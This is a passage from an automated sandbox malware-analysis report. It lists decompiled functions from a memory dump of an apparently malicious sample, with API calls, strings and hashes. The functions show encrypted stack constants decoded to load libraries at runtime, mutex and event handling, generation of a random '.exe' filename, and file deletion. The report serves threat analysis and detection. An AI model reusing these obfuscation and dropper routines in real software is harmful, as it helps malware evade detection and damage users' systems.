				 *((intOrPtr*)(_t134 - 0x104)) = 0x11076f6d;
				 *((intOrPtr*)(_t134 - 0x100)) = 0x89741eba;
				 *((intOrPtr*)(_t134 - 0xfc)) = 0xd2948018;
				 *((intOrPtr*)(_t134 - 0xf8)) = 0xd806311c;
				 *((intOrPtr*)(_t134 - 0xf4)) = 0x4ab1182b;
				 *((intOrPtr*)(_t134 - 0xf0)) = 0xa54d5ba1;
				 *((intOrPtr*)(_t134 - 0xec)) = 0x495ef7c7;
				 *((intOrPtr*)(_t134 - 0xe8)) = 0x30ec95f0;
				 *((intOrPtr*)(_t134 - 0xe4)) = 0xcdd9565c;
				 *((intOrPtr*)(_t134 - 0xe0)) = 0x2d57853e;
				 *((intOrPtr*)(_t134 - 0xdc)) = 0xb68f3314;
				 *((intOrPtr*)(_t134 - 0xd8)) = 0x1ad71470;
				 *((intOrPtr*)(_t134 - 0xd4)) = 0xc1b113c5;
				 *((intOrPtr*)(_t134 - 0xd0)) = 0x1af6df0b;
				 *((intOrPtr*)(_t134 - 0xcc)) = 0xe29175e7;
				 *((intOrPtr*)(_t134 - 0xc8)) = 0xb8bb9f07;
				 *((intOrPtr*)(_t134 - 0xc4)) = 0x3f399857;
				 *((intOrPtr*)(_t134 - 0xc0)) = 0x81fd2cdb;
				 *((intOrPtr*)(_t134 - 0xbc)) = 0x19f123a;
				 *((intOrPtr*)(_t134 - 0xb8)) = 0x28bff5a;
				 *((intOrPtr*)(_t134 - 0xb4)) = 0x6bfe8ce6;
				 *((intOrPtr*)(_t134 - 0xb0)) = 0xd7574e3f;
				 *((intOrPtr*)(_t134 - 0xac)) = 0x3691786d;
				 *((intOrPtr*)(_t134 - 0xa8)) = 0x588766c9;
				 *((intOrPtr*)(_t134 - 0xa4)) = 0x367390eb;
				 *((intOrPtr*)(_t134 - 0xa0)) = 0xb1ec2781;
				 *((intOrPtr*)(_t134 - 0x9c)) = 0x12946a5f;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t134 - 0x98)) = 0x1960b331;
				 *((intOrPtr*)(_t134 - 0x94)) = 0xcebf7c09;
				 *((intOrPtr*)(_t134 - 0x90)) = 0xd60051e8;
				 *((intOrPtr*)(_t134 - 0x8c)) = 0xb3380c0a;
				 *((intOrPtr*)(_t134 - 0x88)) = 0xc94d4e15;
				 *((intOrPtr*)(_t134 - 0x84)) = 0x19ee285d;
				 *((intOrPtr*)(_t134 - 0x80)) = 0x334db5f7;
				 *((intOrPtr*)(_t134 - 0x7c)) = 0x9071bc52;
				 *((intOrPtr*)(_t134 - 0x78)) = 0x707419a;
				 *((intOrPtr*)(_t134 - 0x74)) = 0xd5e6fd75;
				 *((intOrPtr*)(_t134 - 0x70)) = 0xee9fe7eb;
				 *((intOrPtr*)(_t134 - 0x6c)) = 0x31474756;
				 *((intOrPtr*)(_t134 - 0x68)) = 0x11eef71f;
				 *((intOrPtr*)(_t134 - 0x64)) = 0x19c1f92f;
				 *((intOrPtr*)(_t134 - 0x60)) = 0x6099c568;
				 *((intOrPtr*)(_t134 - 0x5c)) = 0x38e0c079;
				 *((intOrPtr*)(_t134 - 0x58)) = 0x81396fb;
				 *((intOrPtr*)(_t134 - 0x54)) = 0x8daf52c0;
				 *((intOrPtr*)(_t134 - 0x50)) = 0x6d67ade1;
				 *((intOrPtr*)(_t134 - 0x4c)) = 0xd63d8fc1;
				 *((intOrPtr*)(_t134 - 0x48)) = 0x3eceb35d;
				 *((intOrPtr*)(_t134 - 0x44)) = 0x5a0d352b;
				 *((intOrPtr*)(_t134 - 0x40)) = 0x3f59c3c;
				 *((intOrPtr*)(_t134 - 0x3c)) = 0x380c7f9a;
				 *((intOrPtr*)(_t134 - 0x38)) = 0xf08dd99c;
				 *((intOrPtr*)(_t134 - 0x34)) = 0x2ad4aea7;
				 *((intOrPtr*)(_t134 - 0x30)) = 0xd49cbb05;
				 *((intOrPtr*)(_t134 - 0x2c)) = 0xaca865e;
				 *((intOrPtr*)(_t134 - 0x28)) = 0x34b98ced;
				 *((intOrPtr*)(_t134 - 0x24)) = 0x44f96df3;
				 *((intOrPtr*)(_t134 - 0x20)) = 0x5ceafb6d;
				 *((intOrPtr*)(_t134 - 0x1c)) = 0xe0907016;
				 *((intOrPtr*)(_t134 - 0x18)) = 0xbfaa049e;
				 *((intOrPtr*)(_t134 - 0x14)) = 0xf51e66fc;
				 *((intOrPtr*)(_t134 - 0x10)) = 0xddafbd8f;
				 *((intOrPtr*)(_t134 - 0xc)) = 0x7ec84b38;
				 *((intOrPtr*)(_t134 - 8)) = 0xee2f8d5b;
				 *((intOrPtr*)(_t134 - 4)) = 0x2ee75a83;
				_t132 = L00381D10(0x391260, 0x134, __edi, __esi);
				 *0x394ca4 = LoadLibraryW(_t120);
				L00381DB0(_t132);
				return E00381570(_t124,  *0x394ca4, _t134 - 0x1d8, _t132, 0x76, 0x539f34f7, 0x394ab0);
			}

0x0038bffa
0x0038bffa
0x0038c004
0x0038c00e
0x0038c018
0x0038c022
0x0038c02c
0x0038c036
0x0038c040
0x0038c04a
0x0038c054
0x0038c05e
0x0038c068
0x0038c072
0x0038c07c
0x0038c086
0x0038c090
0x0038c09a
0x0038c0a4
0x0038c0ae
0x0038c0b8
0x0038c0c2
0x0038c0cc
0x0038c0d6
0x0038c0e0
0x0038c0ea
0x0038c0f4
0x0038c0fe
0x0038c108
0x0038c112
0x0038c11c
0x0038c126
0x0038c130
0x0038c13a
0x0038c144
0x0038c14e
0x0038c158
0x0038c162
0x0038c16c
0x0038c176
0x0038c180
0x0038c18a
0x0038c194
0x0038c19e
0x0038c1a8
0x0038c1b2
0x0038c1bc
0x0038c1c6
0x0038c1d0
0x0038c1da
0x0038c1e4
0x0038c1ee
0x0038c1f8
0x0038c202
0x0038c20c
0x0038c216
0x0038c220
0x0038c22a
0x0038c234
0x0038c23e
0x0038c248
0x0038c252
0x0038c25c
0x0038c266
0x0038c270
0x0038c27a
0x0038c284
0x0038c28e
0x0038c298
0x0038c2a2
0x0038c2ac
0x0038c2b6
0x0038c2c0
0x0038c2ca
0x0038c2d4
0x0038c2de
0x0038c2e8
0x0038c2f2
0x0038c2fc
0x0038c306
0x0038c310
0x0038c31a
0x0038c324
0x0038c333
0x0038c33d
0x0038c347
0x0038c351
0x0038c35b
0x0038c365
0x0038c36c
0x0038c373
0x0038c37a
0x0038c381
0x0038c388
0x0038c38f
0x0038c396
0x0038c39d
0x0038c3a4
0x0038c3ab
0x0038c3b2
0x0038c3b9
0x0038c3c0
0x0038c3c7
0x0038c3ce
0x0038c3d5
0x0038c3dc
0x0038c3e3
0x0038c3ea
0x0038c3f1
0x0038c3f8
0x0038c3ff
0x0038c406
0x0038c40d
0x0038c414
0x0038c41b
0x0038c422
0x0038c429
0x0038c430
0x0038c437
0x0038c43e
0x0038c44d
0x0038c458
0x0038c45d
0x0038c486

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0038C450

Strings

+5Z, xrefs: 0038C3CE
VGG1, xrefs: 0038C388
>:, xrefs: 0038C1BC
Q, xrefs: 0038C33D

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: +5Z$>:$VGG1$Q
API String ID: 1029625771-1117859777
Opcode ID: e729a1aa2d0263bf334cf0cab9864604847e75a2178a2132bc9c4b0751c06cba
Instruction ID: d22b15ec71fcf194cfe2faee676cc5694745b7c2a7a6daa671a4caeeae1ed2aa
Opcode Fuzzy Hash: e729a1aa2d0263bf334cf0cab9864604847e75a2178a2132bc9c4b0751c06cba
Instruction Fuzzy Hash: C0A1B6B4C06769DFEB21DF919A917DDBA70BB16304F6086C8D5593B200CB361A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 0038B4A4, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 139
libraryUNIQUE

C-Code - Quality: 98%

			E0038B4A4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t123;
				void* _t133;

				_t123 = __ebx;
				 *((intOrPtr*)(_t133 - 0x1d4)) = 0x3e194ba;
				 *((intOrPtr*)(_t133 - 0x1d0)) = 0xcb5ae7e5;
				 *((intOrPtr*)(_t133 - 0x1cc)) = 0x14c5732f;
				 *((intOrPtr*)(_t133 - 0x1c8)) = 0x53fb9532;
				 *((intOrPtr*)(_t133 - 0x1c4)) = 0xf246e569;
				 *((intOrPtr*)(_t133 - 0x1c0)) = 0xd8e37235;
				 *((intOrPtr*)(_t133 - 0x1bc)) = 0x30b2518c;
				 *((intOrPtr*)(_t133 - 0x1b8)) = 0xae793840;
				 *((intOrPtr*)(_t133 - 0x1b4)) = 0x45dda6c3;
				 *((intOrPtr*)(_t133 - 0x1b0)) = 0xa846bfe5;
				 *((intOrPtr*)(_t133 - 0x1ac)) = 0xce25b571;
				 *((intOrPtr*)(_t133 - 0x1a8)) = 0xa0d0480;
				 *((intOrPtr*)(_t133 - 0x1a4)) = 0x381f467f;
				 *((intOrPtr*)(_t133 - 0x1a0)) = 0x5e75d78d;
				 *((intOrPtr*)(_t133 - 0x19c)) = 0x1232bdea;
				 *((intOrPtr*)(_t133 - 0x198)) = 0xf1ae7c94;
				 *((intOrPtr*)(_t133 - 0x194)) = 0xcd7511f8;
				 *((intOrPtr*)(_t133 - 0x190)) = 0xd3c20dd1;
				 *((intOrPtr*)(_t133 - 0x18c)) = 0xa299daf1;
				 *((intOrPtr*)(_t133 - 0x188)) = 0x33cd7141;
				 *((intOrPtr*)(_t133 - 0x184)) = 0x835add74;
				 *((intOrPtr*)(_t133 - 0x180)) = 0x1ab2f402;
				 *((intOrPtr*)(_t133 - 0x17c)) = 0x1df2bad4;
				 *((intOrPtr*)(_t133 - 0x178)) = 0xc379fb1a;
				 *((intOrPtr*)(_t133 - 0x174)) = 0xa22c1bf9;
				 *((intOrPtr*)(_t133 - 0x170)) = 0xb0529d2f;
				 *((intOrPtr*)(_t133 - 0x16c)) = 0x7f641a7;
				 *((intOrPtr*)(_t133 - 0x168)) = 0xf9c85ac0;
				 *((intOrPtr*)(_t133 - 0x164)) = 0xdbfb1a70;
				 *((intOrPtr*)(_t133 - 0x160)) = 0xbdb38181;
				 *((intOrPtr*)(_t133 - 0x15c)) = 0xfb76298c;
				 *((intOrPtr*)(_t133 - 0x158)) = 0xca1f984c;
				 *((intOrPtr*)(_t133 - 0x154)) = 0x831cc74;
				 *((intOrPtr*)(_t133 - 0x150)) = 0x3947bdfe;
				 *((intOrPtr*)(_t133 - 0x14c)) = 0xa9add96b;
				 *((intOrPtr*)(_t133 - 0x148)) = 0x4ea56a36;
				 *((intOrPtr*)(_t133 - 0x144)) = 0x79ef7dee;
				 *((intOrPtr*)(_t133 - 0x140)) = 0x4d8fad9f;
				 *((intOrPtr*)(_t133 - 0x13c)) = 0xe0d61ece;
				 *((intOrPtr*)(_t133 - 0x138)) = 0x738cb825;
				 *((intOrPtr*)(_t133 - 0x134)) = 0x5eb130f9;
				 *((intOrPtr*)(_t133 - 0x130)) = 0x16915d1;
				 *((intOrPtr*)(_t133 - 0x12c)) = 0x29e94e4a;
				 *((intOrPtr*)(_t133 - 0x128)) = 0x568f537c;
				 *((intOrPtr*)(_t133 - 0x124)) = 0x2e0b7827;
				 *((intOrPtr*)(_t133 - 0x120)) = 0xff88b766;
				 *((intOrPtr*)(_t133 - 0x11c)) = 0xe7533b9c;
				 *((intOrPtr*)(_t133 - 0x118)) = 0x27201384;
				 *((intOrPtr*)(_t133 - 0x114)) = 0x9d4ed368;
				 *((intOrPtr*)(_t133 - 0x110)) = 0x9622ee4b;
				 *((intOrPtr*)(_t133 - 0x10c)) = 0x65a1cb07;
				 *((intOrPtr*)(_t133 - 0x108)) = 0xb9fd4af5;
				 *((intOrPtr*)(_t133 - 0x104)) = 0x1115963;
				 *((intOrPtr*)(_t133 - 0x100)) = 0xfa95e90f;
				 *((intOrPtr*)(_t133 - 0xfc)) = 0xa07788a7;
				 *((intOrPtr*)(_t133 - 0xf8)) = 0x2429942d;
				 *((intOrPtr*)(_t133 - 0xf4)) = 0xf19d9226;
				 *((intOrPtr*)(_t133 - 0xf0)) = 0xf70e3a94;
				 *((intOrPtr*)(_t133 - 0xec)) = 0x7092538b;
				 *((intOrPtr*)(_t133 - 0xe8)) = 0x17ffb4d9;
				 *((intOrPtr*)(_t133 - 0xe4)) = 0xb12d5b72;
				 *((intOrPtr*)(_t133 - 0xe0)) = 0xbfc1f7ab;
				 *((intOrPtr*)(_t133 - 0xdc)) = 0x9597fc4e;
				 *((intOrPtr*)(_t133 - 0xd8)) = 0x64eaf6b3;
				 *((intOrPtr*)(_t133 - 0xd4)) = 0xd274c067;
				 *((intOrPtr*)(_t133 - 0xd0)) = 0xdd26f90;
				 *((intOrPtr*)(_t133 - 0xcc)) = 0x9f7643fa;
				 *((intOrPtr*)(_t133 - 0xc8)) = 0xe141c644;
				 *((intOrPtr*)(_t133 - 0xc4)) = 0x4fa50425;
				 *((intOrPtr*)(_t133 - 0xc0)) = 0x842a7374;
				 *((intOrPtr*)(_t133 - 0xbc)) = 0x37a0bb7d;
				 *((intOrPtr*)(_t133 - 0xb8)) = 0x4ddf7c50;
				 *((intOrPtr*)(_t133 - 0xb4)) = 0x571fa934;
				 *((intOrPtr*)(_t133 - 0xb0)) = 0x22b4ed9d;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t133 - 0xac)) = 0x674db9c8;
				 *((intOrPtr*)(_t133 - 0xa8)) = 0x9e595797;
				 *((intOrPtr*)(_t133 - 0xa4)) = 0xbf676b2b;
				 *((intOrPtr*)(_t133 - 0xa0)) = 0x2c5aed76;
				 *((intOrPtr*)(_t133 - 0x9c)) = 0x46cb3eb9;
				 *((intOrPtr*)(_t133 - 0x98)) = 0xf310c248;
				 *((intOrPtr*)(_t133 - 0x94)) = 0x5367116a;
				 *((intOrPtr*)(_t133 - 0x90)) = 0xa31f23f;
				 *((intOrPtr*)(_t133 - 0x8c)) = 0xef968811;
				 *((intOrPtr*)(_t133 - 0x88)) = 0xb5d41bd6;
				 *((intOrPtr*)(_t133 - 0x84)) = 0x32a57979;
				 *((intOrPtr*)(_t133 - 0x80)) = 0xfc73b270;
				 *((intOrPtr*)(_t133 - 0x7c)) = 0xb4fb0ab5;
				 *((intOrPtr*)(_t133 - 0x78)) = 0x8eb8ddbd;
				 *((intOrPtr*)(_t133 - 0x74)) = 0x6949af82;
				 *((intOrPtr*)(_t133 - 0x70)) = 0x9b3f1c3f;
				 *((intOrPtr*)(_t133 - 0x6c)) = 0x7d072d75;
				 *((intOrPtr*)(_t133 - 0x68)) = 0x9ff31f4c;
				 *((intOrPtr*)(_t133 - 0x64)) = 0xc34e136c;
				 *((intOrPtr*)(_t133 - 0x60)) = 0x1c37a837;
				 *((intOrPtr*)(_t133 - 0x5c)) = 0x666fca24;
				 *((intOrPtr*)(_t133 - 0x58)) = 0x1efaa7e;
				 *((intOrPtr*)(_t133 - 0x54)) = 0x5763c5ad;
				 *((intOrPtr*)(_t133 - 0x50)) = 0xd5771a59;
				 *((intOrPtr*)(_t133 - 0x4c)) = 0x4c1f92e9;
				 *((intOrPtr*)(_t133 - 0x48)) = 0xc6af177d;
				 *((intOrPtr*)(_t133 - 0x44)) = 0x93560807;
				 *((intOrPtr*)(_t133 - 0x40)) = 0x9fab0cf;
				 *((intOrPtr*)(_t133 - 0x3c)) = 0xcc3cf8fa;
				 *((intOrPtr*)(_t133 - 0x38)) = 0x4e3e3f36;
				 *((intOrPtr*)(_t133 - 0x34)) = 0x6db992cc;
				 *((intOrPtr*)(_t133 - 0x30)) = 0xf4490784;
				 *((intOrPtr*)(_t133 - 0x2c)) = 0xa2d2bd0e;
				 *((intOrPtr*)(_t133 - 0x28)) = 0x5fd65aaa;
				 *((intOrPtr*)(_t133 - 0x24)) = 0xa9dbdcb2;
				 *((intOrPtr*)(_t133 - 0x20)) = 0xa5781439;
				 *((intOrPtr*)(_t133 - 0x1c)) = 0xfee5012e;
				 *((intOrPtr*)(_t133 - 0x18)) = 0xa08d5c8c;
				 *((intOrPtr*)(_t133 - 0x14)) = 0xa06a3ace;
				 *((intOrPtr*)(_t133 - 0x10)) = 0xdea03ac4;
				 *((intOrPtr*)(_t133 - 0xc)) = 0x31284cbc;
				 *((intOrPtr*)(_t133 - 8)) = 0xb5f364a7;
				 *((intOrPtr*)(_t133 - 4)) = 0x7fe3b542;
				_t131 = L00381D10(0x391160, 0xfc, __edi, __esi);
				 *0x394c98 = LoadLibraryW(_t119);
				L00381DB0(_t131);
				return E00381570(_t123,  *0x394c98, _t133 - 0x5b8, _t131, 0x16e, 0x5afb630a, 0x394230);
			}

0x0038b4a4
0x0038b4a4
0x0038b4ae
0x0038b4b8
0x0038b4c2
0x0038b4cc
0x0038b4d6
0x0038b4e0
0x0038b4ea
0x0038b4f4
0x0038b4fe
0x0038b508
0x0038b512
0x0038b51c
0x0038b526
0x0038b530
0x0038b53a
0x0038b544
0x0038b54e
0x0038b558
0x0038b562
0x0038b56c
0x0038b576
0x0038b580
0x0038b58a
0x0038b594
0x0038b59e
0x0038b5a8
0x0038b5b2
0x0038b5bc
0x0038b5c6
0x0038b5d0
0x0038b5da
0x0038b5e4
0x0038b5ee
0x0038b5f8
0x0038b602
0x0038b60c
0x0038b616
0x0038b620
0x0038b62a
0x0038b634
0x0038b63e
0x0038b648
0x0038b652
0x0038b65c
0x0038b666
0x0038b670
0x0038b67a
0x0038b684
0x0038b68e
0x0038b698
0x0038b6a2
0x0038b6ac
0x0038b6b6
0x0038b6c0
0x0038b6ca
0x0038b6d4
0x0038b6de
0x0038b6e8
0x0038b6f2
0x0038b6fc
0x0038b706
0x0038b710
0x0038b71a
0x0038b724
0x0038b72e
0x0038b738
0x0038b742
0x0038b74c
0x0038b756
0x0038b760
0x0038b76a
0x0038b774
0x0038b77e
0x0038b788
0x0038b792
0x0038b7a1
0x0038b7ab
0x0038b7b5
0x0038b7bf
0x0038b7c9
0x0038b7d3
0x0038b7dd
0x0038b7e7
0x0038b7f1
0x0038b7fb
0x0038b805
0x0038b80c
0x0038b813
0x0038b81a
0x0038b821
0x0038b828
0x0038b82f
0x0038b836
0x0038b83d
0x0038b844
0x0038b84b
0x0038b852
0x0038b859
0x0038b860
0x0038b867
0x0038b86e
0x0038b875
0x0038b87c
0x0038b883
0x0038b88a
0x0038b891
0x0038b898
0x0038b89f
0x0038b8a6
0x0038b8ad
0x0038b8b4
0x0038b8bb
0x0038b8c2
0x0038b8c9
0x0038b8d0
0x0038b8d7
0x0038b8de
0x0038b8ed
0x0038b8f8
0x0038b8fd
0x0038b929

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0038B8F0

Strings

JN), xrefs: 0038B648
vZ,, xrefs: 0038B7B5
6?>N, xrefs: 0038B883
}y, xrefs: 0038B60C

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: 6?>N$JN)$vZ,$}y
API String ID: 1029625771-497292648
Opcode ID: e6ac8f2210a3aeda8c14606fcafebeddfbe3f3fdcdcbbc3a0823d0952400a377
Instruction ID: d2bc73e619e839021156e2f40e25e71581fb2fb328c1828a0d69cce98bfca644
Opcode Fuzzy Hash: e6ac8f2210a3aeda8c14606fcafebeddfbe3f3fdcdcbbc3a0823d0952400a377
Instruction Fuzzy Hash: 30A1B7B4C153A9DBEB61DF82A9857CDBA71BB06344F6086C9C1593B314DB710A82CF86

Uniqueness

Uniqueness Score: 100.00%

Function 0038C620, Relevance: 7.5, APIs: 5, Instructions: 37
synchronizationCOMMON

C-Code - Quality: 100%

			E0038C620(void* __eflags) {
				void* __esi;
				long _t3;
				void* _t4;
				long _t8;
				void* _t10;
				void* _t11;
				void* _t12;
				int _t13;

				_t13 = 0;
				if(L0038C500(_t10, _t11, _t12, 0, __eflags) == 0) {
					L9:
					return _t13;
				}
				_t3 = WaitForSingleObject( *0x39308c, 0);
				if(_t3 == 0) {
					L3:
					_t4 = L0038C560(_t10, _t11, _t12, _t13, _t17);
					_t18 = _t4;
					if(_t4 != 0) {
						if(L0038C5C0(_t10, _t11, _t12, _t13, _t18) != 0) {
							_t8 = SignalObjectAndWait( *0x392d58,  *0x392d54, 0xffffffff, 0);
							if(_t8 == 0 || _t8 == 0x80) {
								_t13 = ResetEvent( *0x392d58);
							}
						}
						ReleaseMutex( *0x39308c);
						CloseHandle( *0x39308c);
					}
					goto L9;
				}
				_t17 = _t3 - 0x80;
				if(_t3 != 0x80) {
					goto L9;
				}
				goto L3;
			}

0x0038c621
0x0038c62a
0x0038c69d
0x0038c6a0
0x0038c6a0
0x0038c633
0x0038c63b
0x0038c644
0x0038c644
0x0038c649
0x0038c64b
0x0038c654
0x0038c666
0x0038c66e
0x0038c683
0x0038c683
0x0038c66e
0x0038c68b
0x0038c697
0x0038c697
0x00000000
0x0038c64b
0x0038c63d
0x0038c642
0x00000000
0x00000000
0x00000000

APIs

WaitForSingleObject.KERNEL32(00000000), ref: 0038C633
SignalObjectAndWait.KERNEL32(000000FF,00000000), ref: 0038C666
ResetEvent.KERNEL32 ref: 0038C67D
ReleaseMutex.KERNEL32 ref: 0038C68B
CloseHandle.KERNEL32 ref: 0038C697

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: ObjectWait$CloseEventHandleMutexReleaseResetSignalSingle
String ID:
API String ID: 3756552044-0
Opcode ID: f7a908946c3600238a936d5218f139927a238932b51eb2a293bb673597b66c3b
Instruction ID: aed186d1fa04ff5727ef61eb4dd35510a80ffa57e951e67e26fbe15a8f32c04e
Opcode Fuzzy Hash: f7a908946c3600238a936d5218f139927a238932b51eb2a293bb673597b66c3b
Instruction Fuzzy Hash: F7F0F975210211ABDF233B71FC08B2ABA69EB41360F1A61B6F911D51B4FA33CE458B74

Uniqueness

Uniqueness Score: 0.01%

Function 003810B7, Relevance: 7.5, APIs: 5, Instructions: 33COMMON

APIs

_snwprintf.NTDLL ref: 003810D6
CreateEventW.KERNEL32(?,00000001,?,?), ref: 003810F1
SetEvent.KERNEL32(00000000,?,00000001,?,?), ref: 003810FE
CloseHandle.KERNEL32(00000000), ref: 00381105
CloseHandle.KERNEL32(00000000), ref: 00381111

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CloseEventHandle$Create_snwprintf
String ID:
API String ID: 2675716504-0
Opcode ID: b7d4fbe8b801a875eee472ab11cea3409bbbdc022d8e0a0c4a1c1cf2fc2a253c
Instruction ID: aadbdf8c295d022cd059a963a32343f455c8e108fbc10dda4ae6f1d31908e9b5
Opcode Fuzzy Hash: b7d4fbe8b801a875eee472ab11cea3409bbbdc022d8e0a0c4a1c1cf2fc2a253c
Instruction Fuzzy Hash: E4F0E9B69002106BC763B7608C48FAF767DDF41700F010095F90AA7312DF368B058BA5

Uniqueness

Uniqueness Score: 0.01%

Function 0038C9C7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

APIs

_snwprintf.NTDLL ref: 0038C9E3
GetModuleHandleW.KERNEL32(00000000), ref: 0038CA20
GetModuleHandleW.KERNEL32(00000000,00000000), ref: 0038CA40

Strings

0, xrefs: 0038CA06

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: HandleModule$_snwprintf
String ID: 0
API String ID: 960185367-4108050209
Opcode ID: e6ebddebfac42d48eff25024c014c25fa2ddbb8cbba93d5b264480a6da63ae28
Instruction ID: dc3c29483a84e062f82c75dad1d5efffdfbd7645cc6371e0858deb0f814d9481
Opcode Fuzzy Hash: e6ebddebfac42d48eff25024c014c25fa2ddbb8cbba93d5b264480a6da63ae28
Instruction Fuzzy Hash: 1F118471910314ABEB23ABE0DC15FAEB6BCFB00740F24009AFA05BB2C0DB755605CBA5

Uniqueness

Uniqueness Score: 0.03%

Function 0038DD90, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29
stringCOMMON

C-Code - Quality: 100%

			E0038DD90(WCHAR* __ecx) {
				WCHAR* _t19;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t28;

				_t19 = __ecx;
				lstrcpyW(__ecx, 0x3951f8);
				_t23 = lstrlenW(_t19);
				_t19[_t23] = 0x5c;
				_t24 = _t23 + 1;
				_t28 = (GetTickCount() & 0x0000000f) + 4;
				L003821E0( &(_t19[_t24]), _t28);
				_t25 = _t24 + _t28;
				_t19[_t25] = 0x65002e;
				 *((intOrPtr*)(_t19 + 4 + _t25 * 2)) = 0x650078;
				 *((short*)(_t19 + 8 + _t25 * 2)) = 0;
				return 0;
			}

0x0038dd93
0x0038dd9b
0x0038dda8
0x0038ddaf
0x0038ddb3
0x0038ddc2
0x0038ddc7
0x0038ddcc
0x0038ddd0
0x0038ddd7
0x0038dddf
0x0038dde7

APIs

lstrcpyW.KERNEL32(?,003951F8), ref: 0038DD9B
lstrlenW.KERNEL32(?,?,003951F8), ref: 0038DDA2
GetTickCount.KERNEL32(?,?,003951F8), ref: 0038DDB4

Strings

x, xrefs: 0038DDD7

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_380000_emitwpc.jbxd

Similarity

API ID: CountTicklstrcpylstrlen
String ID: x
API String ID: 974621299-2363233923
Opcode ID: 91edd18bf70aa2cb26af5ffe2c7b1cc2fba7d540087f557c269211ecddb6a9bc
Instruction ID: 0d73e9de471b95095e9ab6c6b7c7eee9c5f07c4b63acb50f17d0bf5c34cb1f69
Opcode Fuzzy Hash: 91edd18bf70aa2cb26af5ffe2c7b1cc2fba7d540087f557c269211ecddb6a9bc
Instruction Fuzzy Hash: 39F0E5B76043156BDB126FA4DC885063769EF40352B0850B6EC06DB366DF75CD4587E0

Uniqueness

Uniqueness Score: 0.02%

Function 0038D792, Relevance: 6.1, APIs: 4, Instructions: 51
fileCOMMON

C-Code - Quality: 18%

			E0038D792(void* __edi, void* __esi, void* __eflags) {
				void* _t12;
				void* _t13;
				void* _t20;
				void* _t47;
				void* _t49;

				 *0x393664();
				_t12 = L00381D10(0x392010, 0x14, __edi, __esi);
				_t13 = _t49 - 0x410;
				 *0x393344(_t49 - 0x208, 0x104, _t12, _t49 - 0x618, _t13, _t13, 0x517393ad);
				L00381DB0(_t12);
				DeleteFileW(_t49 - 0x208);
				_t20 = L00381D10(0x391ee0, 0x58, __edi, _t12);
				 *0x393344(_t49 - 0x208, 0x104, _t20, _t49 - 0x618, 0x394ce0, 0x517393ad);
				L00381DB0(_t20);
				DeleteFileW(_t49 - 0x208);
				_t47 = L00381D10(0x391ee0, 0x58, __edi, _t20);
				goto 0x3a1b77;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				 *0x393344(_t49 - 0x618, _t49 - 0x410, 0x517393ad);
				L00381DB0(_t47);
				return DeleteFileW(_t49 - 0x208);
			}

0x0038d792
0x0038d7a7
0x0038d7ae
0x0038d7ca
0x0038d7d5
0x0038d7e1
0x0038d7f6
0x0038d816
0x0038d821
0x0038d82d
0x0038d847
0x0038d857
0x0038d85c
0x0038d85d
0x0038d85e
0x0038d85f
0x0038d860
0x0038d861
0x0038d862
0x0038d863
0x0038d864
0x0038d86f
0x0038d885

APIs

_snwprintf.NTDLL ref: 0038D7CA
DeleteFileW.KERNEL32(?), ref: 0038D7E1
_snwprintf.NTDLL ref: 0038D816
DeleteFileW.KERNEL32(?), ref: 0038D82D

Memory Dump Source

Source File: 0000000C.00000002.1433164359.00381000.00000020.sdmp, Offset: 00380000, based on PE: true

Associated: 0000000C.00000002.1433160246.00380000.00000002.sdmp
Associated: 0000000C.00000002.1433175069.0038F000.00000002.sdmp
Associated: 0000000C.00000002.1433179610.00390000.00000004.sdmp

Joe Sandbox IDA Plugin

